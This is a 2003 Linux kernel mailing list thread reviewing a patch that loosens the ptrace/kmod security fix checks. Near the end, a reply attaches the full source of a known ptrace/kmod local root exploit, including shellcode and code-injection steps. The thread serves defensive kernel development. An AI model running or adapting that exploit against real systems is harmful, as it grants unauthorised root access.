public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* Re: [PATCH][2.4] cleanup ptrace secfix and fix most side effects
  2003-05-08 22:05 [PATCH][2.4] cleanup ptrace secfix and fix most side effects Bernhard Kaindl
@ 2003-05-08 21:31 ` Alan Cox
  2003-05-08 22:48   ` Alan Cox
  2003-05-08 23:59   ` Bernhard Kaindl
  2003-05-10 20:52 ` ptrace secfix does NOT work... :( Adam Majer
  1 sibling, 2 replies; 8+ messages in thread
From: Alan Cox @ 2003-05-08 21:31 UTC (permalink / raw)
  To: Bernhard Kaindl
  Cc: Linux Kernel Mailing List, Marcelo Tosatti, Bernhard Kaindl

On Iau, 2003-05-08 at 23:05, Bernhard Kaindl wrote:
> -	mb();
> -	if (!is_dumpable(child))
> -		return -EPERM;
> 
>  	if (!(child->ptrace & PT_PTRACED))
>  		return -ESRCH;
> 
> Using is_dumpable() here is not neccesary because the checks done here are:
> 
> >        if (!(child->ptrace & PT_PTRACED))
> >                return -ESRCH;

Except that current->mm->dumpable is not per task but per mm so you
might ptrace one thread and have another go setuid.



^ permalink raw reply	[flat|nested] 8+ messages in thread

* [PATCH][2.4] cleanup ptrace secfix and fix most side effects
@ 2003-05-08 22:05 Bernhard Kaindl
  2003-05-08 21:31 ` Alan Cox
  2003-05-10 20:52 ` ptrace secfix does NOT work... :( Adam Majer
  0 siblings, 2 replies; 8+ messages in thread
From: Bernhard Kaindl @ 2003-05-08 22:05 UTC (permalink / raw)
  To: linux-kernel, Marcelo Tosatti; +Cc: Bernhard Kaindl

[-- Attachment #1: Type: TEXT/PLAIN, Size: 11572 bytes --]

Hello,

The attached patch cleans up the too restrictive checks which were
included in the original ptrace/kmod secfix posted by Alan Cox
and applies on top of a clean 2.4.20-rc1 source tree.

It is the result of my continued work on fixing the side effects
introduced by the too restrictive checks which were included and
and I'm sending it here for review.

One side effect introduced by the ptrace/kmod secfix remains unfixed
for now: It results in modules not being loaded if the tasks which
would normally cause them being loaded are traced.

No error code is returned to the traced process in this case and
an printk like this is triggered by the kernel:

request_module[net-pf-15]: waitpid(4363,...) failed, errno 512

You could trigger this if you debug e.g. FreeS/WAN commands.

Fixing this is not as trivial as fixing other side effects, but
should be possible also.

I'm posting this cleanup because it fixes most side effects and
I don't know how long it will take to fix this remaining issue,
but I've a plan in preparation which should finally fix this last
issue.

For understanding the rest of this mail, the reader should have knowledge
about how the ptrace implementation in the linux kernel works, I don't have
a complete documentation at hand, please just send it if you know one.

For now, the best thing is to read all code paths which start at sys_ptrace()
in arch/i386/kernel/process.c, with background info from ptrace(2).

List of issues addressed by this cleanup:

Issue a:

Description: root is prevented from tracing not dumpable processes
Symptom:     root can't debug setuid applications
Problem:     The checks added to ptrace_check_attach() and access_process_vm()
             were too strict and at the wrong place.
Solution:    Revert the checks which were added to ptrace_check_attach() and
             access_process_vm().
Details:     ptrace_check_attach() is called by sys_ptrace() to verify if
             current has properly attached to child, no checks should be
             added there.
             The revert in to access_process_vm() is also needed. The dumpable
             check were not neccesary because ptrace_check_attach has to be
             always consulted before.
             The init_mm check there was also not neccesary as ptrace_attach
             already does the right check with task_dumpable and task->mm.

Issue b:

Description: /proc/<pid>/cmdline of not dumpable processes is empty
Symptom:     Broken process monitoring,
             e.g. running processes may be reported dead.
Problem:     The change in access_process_vm() affected not only ptrace.
	     access_process_vm() is also used by procfs which is changes
	     the userland interface for process monitoring tools
Solution:    Revert the check added to access_process_vm(), see description
             of issue a) for details about access_process_vm()

Issue c:

Description: priviliged tracers can cause processes hanging in stopped state
Symptom:     processes traced by root which call exec() for a setuid program
             or which call setuid finctions to change uids are left in stopped
             state, even ptrace detach is blocked.
Problem:     The checks added to ptrace_check_attach() and access_process_vm()
             were too strict and at the wrong place.
             The check in ptrace_attach() together with the other code is
             perfect.
Solution:    same as a)

Issue d:

Description: tracing processes which call prctl(PR_SET_DUMPABLE, 0)
             causes traced processes hanging in stopped state.
Symptom:     traced processes hang in stopped state after they called
             prctl(PR_SET_DUMPABLE, 0)
Problem:     The checks added to ptrace_check_attach() and access_process_vm()
             were too strict and at the wrong place.
Solution:    same as a)

Issue e:

Description: processes which want to change their dumpable status have
             prctl(PR_SET_DUMPABLE, 1) ignored.
Symptom:     Impossible to create a core dump of processes which changed uids,
             even if the process requests it by calling prctl(PR_SET_DUMPABLE,1)
Problem:     The change to the PR_SET_DUMPABLE in sys_prctl was too strict.
Solution:    Revert the change to the sys_prctl(PR_SET_DUMPABLE) case:
             No change was neccesary to prevent a thread with same mm to change
             task->mm->dumpable, because a kernel_thread() and ptrace_attach()
             use task->task_dumpable to forbid ptrace for a kernel thread.

Patch with comments added:
(no comments in the attached version)

--- kernel/ptrace.c
+++ kernel/ptrace.c
@@ -21,9 +21,6 @@
  */
 int ptrace_check_attach(struct task_struct *child, int kill)
 {
-	mb();
-	if (!is_dumpable(child))
-		return -EPERM;

 	if (!(child->ptrace & PT_PTRACED))
 		return -ESRCH;

Using is_dumpable() here is not neccesary because the checks done here are:

>        if (!(child->ptrace & PT_PTRACED))
>                return -ESRCH;
>
>        if (child->p_pptr != current)
>                return -ESRCH;

This means ptrace_check_attach() returns -ESRCH if "current" is not properly
attached as tracer to "child", which is the only check it is called for.

The only place where child->ptrace and child->p_pptr are set to the values
which pass this test, is ptrace_attach() which works as explained in the
ptrace fix description further down this mail.

In turn, ptrace_attach() does the is_dumpable check *before* setting
these fields.

And as kernel_thread() aborts if child->ptrace is set, a kernel
thread with ptrace flag set cannot be created and as this flag
is checked here, adding any other checks here hurts the implementation.

@@ -127,8 +124,6 @@ int access_process_vm(struct task_struct
 	/* Worry about races with exit() */
 	task_lock(tsk);
 	mm = tsk->mm;
-	if (!is_dumpable(tsk) || (&init_mm == mm))
-		mm = NULL;
 	if (mm)
 		atomic_inc(&mm->mm_users);
 	task_unlock(tsk);

Similar case here for the is_dumpable(tsk) check. access_process_vm()
is only called if ptrace_check_attach() passed it's tests.
See text above for more detail.

The check if &init_mm == mm is also not neccesary because kernel_thread()
sets task_dumpable to 0 which indicates a kernel thread and causes
ptrace_attach() to abort and because ptrace_check_attach() must pass
it's attach checks, access_process_vm() cannot be reached then.

So was with ptrace_check_attach, adding any check here is superflous
and can be harmful, which the is_dumpable check here already proofed
to be.

--- kernel/sys.c	2003/04/25 06:23:15	1.1
+++ kernel/sys.c	2003/04/25 06:23:51
@@ -1252,8 +1252,7 @@ asmlinkage long sys_prctl(int option, un
 				error = -EINVAL;
 				break;
 			}
-			if (is_dumpable(current))
-				current->mm->dumpable = arg2;
+			current->mm->dumpable = arg2;
 			break;

 	        case PR_SET_UNALIGN:

Adding is_dumpable(current) as guard against setting
current->mm->dumpable is not neccesary because mm->dumpable
is not checked in kmod creation, task_dumpable is used.

See the ptrace fix description for a detailed explanation further down
this mail.

Very Best Begards,
Bernhard Kaindl, SuSE Linux AG

PS:

Description of the last remaining side effect(already mentioned
the the beginning of the mail):

The current 2.4.20-rc1 code aborts the creation of the kernel thread
if it finds the task traced. This is a side effect of the patch which
may possibly be preventable by creating the new thread detached from
ptrace.

This could be done by disabling the ptrace status of the calling
task before calling arch_kernel_thread() and restoring the ptrace
status in the parent afterwards.

Other ways are also possible, but would either require assembler
changes to all architectures or adding a call to simial code to
a function which should be called from all kernel threads.

I think this can be also done in a later kernel release, because
it should not have the severity the other side effects have.

PPS:

Detailed description of the core of ptrace/kmod fix:
====================================================

You have to think SMP here, two processes can execute kernel code
at the same time so proper SMP-safe locking has to be ensured.

SMP is the reason why the task->task_dumpable flag is needed, which plays
a major role in the fix. It is 0 for all kernel threads created by the
new kernel_thread function, otherwise it's 1.

task->ptrace is the other important flag. It is used to indicate wether
task is being traced. It gets a bit set when a tracer attaches to the
task and if task->ptrace is 0, a tracer has to attach to the process
again to be able to trace.

The third important part is the task_lock, a spinlock within the
task_struct which holds the two important flags ptrace and task_dumpable.
It serves a tool to serialize and group the accesses to these flags
as if there would be only one CPU executing the code parts which are
surrounded by take and release this lock.

With this this power at hand, the kernel serializes the important code
section in ptrace_attach() with the corresponding code in kernel_thread():

Let me show you the relevant code of kernel_thread():

        /* lock out any potential ptracer */
spin>   task_lock(task);
check>  if (task->ptrace) {
                task_unlock(task);
exit>           return -EPERM;
        }

        old_task_dumpable = task->task_dumpable;
flag>   task->task_dumpable = 0;
unlock> task_unlock(task);

I've added tags here so you see:

- the take of the task lock:		task_lock(task);
- the check of the task->ptrace flag:   if (task->ptrace) {
  if ptraced:
  - the exit if task is being traced:         return -EPERM;
  if not:
  - the set of the task_dumpable flag to 0:   task->task_dumpable = 0;
- the release of the task lock:		task_unlock(task);

And finally you see the unlock of the task's spinlock which blocked
other code, possibly running on antoher CPU, waiting in busy loop
until this task_unlock is executed if it was trying to accesss the
same task.

This is the corresponding code in ptrace_attach():

spin>   task_lock(task);
        if (task->pid <= 1)
                goto bad;
        if (task == current)
                goto bad;
        if (!task->mm)
                goto bad;
        if(((current->uid != task->euid) ||
            (current->uid != task->suid) ||
            (current->uid != task->uid) ||
            (current->gid != task->egid) ||
            (current->gid != task->sgid) ||
            (!cap_issubset(task->cap_permitted, current->cap_permitted)) ||
            (current->gid != task->gid)) && !capable(CAP_SYS_PTRACE))
                goto bad;
        rmb();
check>  if (!is_dumpable(task) && !capable(CAP_SYS_PTRACE))
exit>           goto bad;
        /* the same process cannot be attached many times */
        if (task->ptrace & PT_PTRACED)
                goto bad;

        /* Go */
flag>   task->ptrace |= PT_PTRACED;
        if (capable(CAP_SYS_PTRACE))
                task->ptrace |= PT_PTRACE_CAP;
unlock> task_unlock(task);

I've added tags here so you see:

- the take of the task lock:         task_lock(task);
- the check of task_dumpable:        if (!is_dumpable(task)
  - the abort on a kernel thread:        goto bad;
- the set of the ptrace flag:        task->ptrace |= PT_PTRACED;
- the release of the task lock:	     task_unlock(task);

As there is no code which manipulates task->task_dumpable or
task->ptrace in a way which would allow to fool these checks
the code aboves prevents tracing kernel threads.

If you know a way to fool these checks, please tell me and Marcelo.
EOF

[-- Attachment #2: Type: TEXT/PLAIN, Size: 1081 bytes --]

diff -rNu linux-2.4.21-rc1/kernel/ptrace.c linux-2.4.21-rk1/kernel/ptrace.c
--- linux-2.4.21-rc1/kernel/ptrace.c	2003-05-08 00:48:39.000000000 +0200
+++ linux-2.4.21-rk1/kernel/ptrace.c	2003-05-08 00:53:02.000000000 +0200
@@ -21,9 +21,6 @@
  */
 int ptrace_check_attach(struct task_struct *child, int kill)
 {
-	mb();
-	if (!is_dumpable(child))
-		return -EPERM;
 
 	if (!(child->ptrace & PT_PTRACED))
 		return -ESRCH;
@@ -140,8 +137,6 @@
 	/* Worry about races with exit() */
 	task_lock(tsk);
 	mm = tsk->mm;
-	if (!is_dumpable(tsk) || (&init_mm == mm))
-		mm = NULL;
 	if (mm)
 		atomic_inc(&mm->mm_users);
 	task_unlock(tsk);
diff -rNu linux-2.4.21-rc1/kernel/sys.c linux-2.4.21-rk1/kernel/sys.c
--- linux-2.4.21-rc1/kernel/sys.c	2003-05-08 00:48:39.000000000 +0200
+++ linux-2.4.21-rk1/kernel/sys.c	2003-05-08 00:53:02.000000000 +0200
@@ -1246,8 +1246,7 @@
 				error = -EINVAL;
 				break;
 			}
-			if (is_dumpable(current))
-				current->mm->dumpable = arg2;
+			current->mm->dumpable = arg2;
 			break;
 
 	        case PR_SET_UNALIGN:

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH][2.4] cleanup ptrace secfix and fix most side effects
  2003-05-08 21:31 ` Alan Cox
@ 2003-05-08 22:48   ` Alan Cox
  2003-05-08 23:59   ` Bernhard Kaindl
  1 sibling, 0 replies; 8+ messages in thread
From: Alan Cox @ 2003-05-08 22:48 UTC (permalink / raw)
  To: Bernhard Kaindl
  Cc: Linux Kernel Mailing List, Marcelo Tosatti, Bernhard Kaindl

On Iau, 2003-05-08 at 22:31, Alan Cox wrote:
> > Using is_dumpable() here is not neccesary because the checks done here are:
> > 
> > >        if (!(child->ptrace & PT_PTRACED))
> > >                return -ESRCH;
> 
> Except that current->mm->dumpable is not per task but per mm so you
> might ptrace one thread and have another go setuid.

Thinking about this harder

A ptraced thread cannot go setuid since we don't permit the exec to do
it

A setuid thread marks the mm dumpable so no thread can be ptraced (since
all threads inheriting the mm inherit it from the exec)

So ignore my earlier message


^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH][2.4] cleanup ptrace secfix and fix most side effects
  2003-05-08 21:31 ` Alan Cox
  2003-05-08 22:48   ` Alan Cox
@ 2003-05-08 23:59   ` Bernhard Kaindl
  2003-05-09  0:17     ` Bernhard Kaindl
  1 sibling, 1 reply; 8+ messages in thread
From: Bernhard Kaindl @ 2003-05-08 23:59 UTC (permalink / raw)
  To: Alan Cox; +Cc: Linux Kernel Mailing List, Marcelo Tosatti

On 8 May 2003, Alan Cox wrote:
> On Iau, 2003-05-08 at 23:05, Bernhard Kaindl wrote:
> > -	mb();
> > -	if (!is_dumpable(child))
> > -		return -EPERM;
> >
> >  	if (!(child->ptrace & PT_PTRACED))
> >  		return -ESRCH;
> >
> > Using is_dumpable() here is not neccesary because the checks done here are:
> >
> > >        if (!(child->ptrace & PT_PTRACED))
> > >                return -ESRCH;
>
> Except that current->mm->dumpable is not per task but per mm so you
> might ptrace one thread and have another go setuid.

You might try, but as far as I know:

a) setuid requires execve() which decouples from the other thread
   and also gives the new thread a newly allocated task->mm.

b) If the thread which calls execve() is being traced, execve ignores
   setuid.

c) If the thread which calls execve() is being not traced, a tracer has
   to attach first, otherwise

> > >        if (!(child->ptrace & PT_PTRACED))
> > >                return -ESRCH;

   catches the agaist-the-API ptrace call and the only way to set

		child->ptrace & PT_PTRACED

   is to call ptrace_attach() which checks for matching uids/gids
   beween tracer and the setuid task and requiring that the tracer
   may not miss a capability which the setuid task has granted and
   effectively denies ptrace access otherwise:

        if(((current->uid != task->euid) ||
            (current->uid != task->suid) ||
            (current->uid != task->uid) ||
            (current->gid != task->egid) ||
            (current->gid != task->sgid) ||
            (!cap_issubset(task->cap_permitted, current->cap_permitted)) ||
            (current->gid != task->gid)) && !capable(CAP_SYS_PTRACE))
                goto bad;

d) Even if the setuid program changes uids and capabilies back so that
   you would pass the check above, you will fail in the next line here:

        if (!is_dumpable(task) && !capable(CAP_SYS_PTRACE))
                goto bad;

   And you can't change task->mm->dumpable back to 1 because the new
   task has got a new mm allocated to which you have no access.

So, unless you have CAP_SYS_PTRACE, you will fail to trace the setuid
program(CAP_SYS_PTRACE is documented to allow to trace setuid) unless
it does prctl(PR_SET_DUMPABLE, 1) and after giving all capabilies gained
away and setting uid and gids back. At this point you could attach to
it again, but by calling prctl(PR_SET_DUMPABLE, 1), the setudi program
decares that it does not have any sensitive data anymore because you
could also send him a signal to cause him core dumping and read the
core with emacs then.

Do you see any chance to gain anything this way or
do you mean a scenario which I did not describe here?

Thanks,
Bernd

PS:

Just in case if people are interested where execve() gets a new mm
for the new program:

 execve() calls do_execve()
  which calls the binfmt's file loader(e.g. load_elf_binary)
   which calls flush_old_exec()
    which calls exec_mmap()
     which releases the old mm and allocates a
                         new task->mm for the new process:

fs/exec.c, exec_mmap():

        old_mm = current->mm;
        if (old_mm) {
                rlimit_rss = old_mm->rlimit_rss;
                if (atomic_read(&old_mm->mm_users) == 1) {
                        mm_release();
                        exit_aio(old_mm);
                        exit_mmap(old_mm);
                        return 0;
                }
        }

        mm = mm_alloc();
        [...]
	     current->mm = mm;

EOF



^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH][2.4] cleanup ptrace secfix and fix most side effects
  2003-05-08 23:59   ` Bernhard Kaindl
@ 2003-05-09  0:17     ` Bernhard Kaindl
  0 siblings, 0 replies; 8+ messages in thread
From: Bernhard Kaindl @ 2003-05-09  0:17 UTC (permalink / raw)
  To: Alan Cox; +Cc: Marcelo Tosatti, Linux Kernel Mailing List

Alan wrote:
> Thinking about this harder
>
> A ptraced thread cannot go setuid since we don't permit the exec to do
> it
>
> A setuid thread marks the mm dumpable so no thread can be ptraced (since
> all threads inheriting the mm inherit it from the exec)

Agreed, this is the short form of what I tried to say.

> So ignore my earlier message

Thanks,
Bernd

On Fri, 9 May 2003, Bernhard Kaindl wrote:
>
> a) setuid requires execve() which decouples from the other thread
>    and also gives the new thread a newly allocated task->mm.
>
> b) If the thread which calls execve() is being traced, execve ignores
>    setuid.
>
> c) If the thread which calls execve() is being not traced, a tracer has
>    to attach first, otherwise
...
> d)
...


^ permalink raw reply	[flat|nested] 8+ messages in thread

* ptrace secfix does NOT work... :(
  2003-05-08 22:05 [PATCH][2.4] cleanup ptrace secfix and fix most side effects Bernhard Kaindl
  2003-05-08 21:31 ` Alan Cox
@ 2003-05-10 20:52 ` Adam Majer
  2003-05-10 21:11   ` Daniel Jacobowitz
  1 sibling, 1 reply; 8+ messages in thread
From: Adam Majer @ 2003-05-10 20:52 UTC (permalink / raw)
  To: Bernhard Kaindl; +Cc: linux-kernel, Marcelo Tosatti

[-- Attachment #1: Type: text/plain, Size: 890 bytes --]

On Fri, May 09, 2003 at 12:05:52AM +0200, Bernhard Kaindl wrote:
> Hello,
> 
> The attached patch cleans up the too restrictive checks which were
> included in the original ptrace/kmod secfix posted by Alan Cox
> and applies on top of a clean 2.4.20-rc1 source tree.

But the ptrace hole is _NOT_ fixed... :(

adamm@polaris:~/test$ uname -r
2.4.21-rc2
\u@\h:\w\$ ls -ltr hehe
-rw-------    1 root     root           17 May 10 15:44 hehe
\u@\h:\w\$ whoami
root
\u@\h:\w\$ cat hehe
I can see you!!
                                                                                                              
\u@\h:\w\$ rm hehh
\u@\h:\w\$ ls -ltr hehe
ls: hehe: No such file or directory

I'm attaching the exploit so someone can fix the bug properly.
I could get root even with the patched 2.4.20 so I don't think
that this is the fault of the your patch.

- Adam

[-- Attachment #2: test.c --]
[-- Type: text/x-csrc, Size: 4025 bytes --]

/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
  "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
  perror(msg);
  kill(parent, SIGKILL);
  kill(child, SIGKILL);
  kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
  char buf[MAXPATHLEN + CODE_SIZE];
  unsigned long * src;
  int i, len;

  memcpy(buf, cliphcode, CODE_SIZE);
  len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  if (len == -1)
    fatal("[-] Unable to read /proc/self/exe");

  len += CODE_SIZE + 1;
  buf[len] = '\0';
  
  src = (unsigned long*) buf;
  for (i = 0; i < len; i += 4)
    if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
      fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
  struct user_regs_struct regs;

  if (gotchild++ == 0)
    return;
  
  fprintf(stderr, "[+] Signal caught\n");

  if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
    fatal("[-] Unable to read registers");
  
  fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  
  putcode((unsigned long *)regs.eip);

  fprintf(stderr, "[+] Now wait for suid shell...\n");

  if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
    fatal("[-] Unable to detach from victim");

  exit(0);
}

void sigalrm(int signo)
{
  errno = ECANCELED;
  fatal("[-] Fatal error");
}

void do_child(void)
{
  int err;

  child = getpid();
  victim = child + 1;

  signal(SIGCHLD, sigchld);

  do
    err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  while (err == -1 && errno == ESRCH);

  if (err == -1)
    fatal("[-] Unable to attach");

  fprintf(stderr, "[+] Attached to %d\n", victim);
  while (!gotchild) ;
  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
    fatal("[-] Unable to setup syscall trace");
  fprintf(stderr, "[+] Waiting for signal\n");

  for(;;);
}

void do_parent(char * progname)
{
  struct stat st;
  int err;
  errno = 0;
  socket(AF_SECURITY, SOCK_STREAM, 1);
  do {
    err = stat(progname, &st);
  } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  
  if (err == -1)
    fatal("[-] Unable to stat myself");

  alarm(0);
  system(progname);
}

void prepare(void)
{
  if (geteuid() == 0) {
    initgroups("root", 0);
    setgid(0);
    setuid(0);
    execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
    fatal("[-] Unable to spawn shell");
  }
}

int main(int argc, char ** argv)
{
  prepare();
  signal(SIGALRM, sigalrm);
  alarm(10);
  
  parent = getpid();
  child = fork();
  victim = child + 1;
  
  if (child == -1)
    fatal("[-] Unable to fork");

  if (child == 0)
    do_child();
  else
    do_parent(argv[0]);

  return 0;
}

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: ptrace secfix does NOT work... :(
  2003-05-10 20:52 ` ptrace secfix does NOT work... :( Adam Majer
@ 2003-05-10 21:11   ` Daniel Jacobowitz
  2003-05-10 21:25     ` Adam Majer
  0 siblings, 1 reply; 8+ messages in thread
From: Daniel Jacobowitz @ 2003-05-10 21:11 UTC (permalink / raw)
  To: Adam Majer; +Cc: Bernhard Kaindl, linux-kernel, Marcelo Tosatti

On Sat, May 10, 2003 at 03:52:49PM -0500, Adam Majer wrote:
> On Fri, May 09, 2003 at 12:05:52AM +0200, Bernhard Kaindl wrote:
> > Hello,
> > 
> > The attached patch cleans up the too restrictive checks which were
> > included in the original ptrace/kmod secfix posted by Alan Cox
> > and applies on top of a clean 2.4.20-rc1 source tree.
> 
> But the ptrace hole is _NOT_ fixed... :(

This is the exploit which makes itself suid.  Did you leave it suid
before retesting it?

> adamm@polaris:~/test$ uname -r
> 2.4.21-rc2
> \u@\h:\w\$ ls -ltr hehe
> -rw-------    1 root     root           17 May 10 15:44 hehe
> \u@\h:\w\$ whoami
> root
> \u@\h:\w\$ cat hehe
> I can see you!!
>                                                                                                               
> \u@\h:\w\$ rm hehh
> \u@\h:\w\$ ls -ltr hehe
> ls: hehe: No such file or directory

Huh?

-- 
Daniel Jacobowitz
MontaVista Software                         Debian GNU/Linux Developer

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: ptrace secfix does NOT work... :(
  2003-05-10 21:11   ` Daniel Jacobowitz
@ 2003-05-10 21:25     ` Adam Majer
  0 siblings, 0 replies; 8+ messages in thread
From: Adam Majer @ 2003-05-10 21:25 UTC (permalink / raw)
  To: Bernhard Kaindl, linux-kernel, Marcelo Tosatti

[-- Attachment #1: Type: text/plain, Size: 672 bytes --]

On Sat, May 10, 2003 at 05:11:54PM -0400, Daniel Jacobowitz wrote:
> On Sat, May 10, 2003 at 03:52:49PM -0500, Adam Majer wrote:
> > On Fri, May 09, 2003 at 12:05:52AM +0200, Bernhard Kaindl wrote:
> > > Hello,
> > > 
> > > The attached patch cleans up the too restrictive checks which were
> > > included in the original ptrace/kmod secfix posted by Alan Cox
> > > and applies on top of a clean 2.4.20-rc1 source tree.
> > 
> > But the ptrace hole is _NOT_ fixed... :(
> 
> This is the exploit which makes itself suid.  Did you leave it suid
> before retesting it?

RIGHT..!!! :) Opps. That's why it "worked"... Never mind. 2.4.20-rc2 is
fixed.

- Adam

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 8+ messages in thread

end of thread, other threads:[~2003-05-10 21:17 UTC | newest]

Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2003-05-08 22:05 [PATCH][2.4] cleanup ptrace secfix and fix most side effects Bernhard Kaindl
2003-05-08 21:31 ` Alan Cox
2003-05-08 22:48   ` Alan Cox
2003-05-08 23:59   ` Bernhard Kaindl
2003-05-09  0:17     ` Bernhard Kaindl
2003-05-10 20:52 ` ptrace secfix does NOT work... :( Adam Majer
2003-05-10 21:11   ` Daniel Jacobowitz
2003-05-10 21:25     ` Adam Majer

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox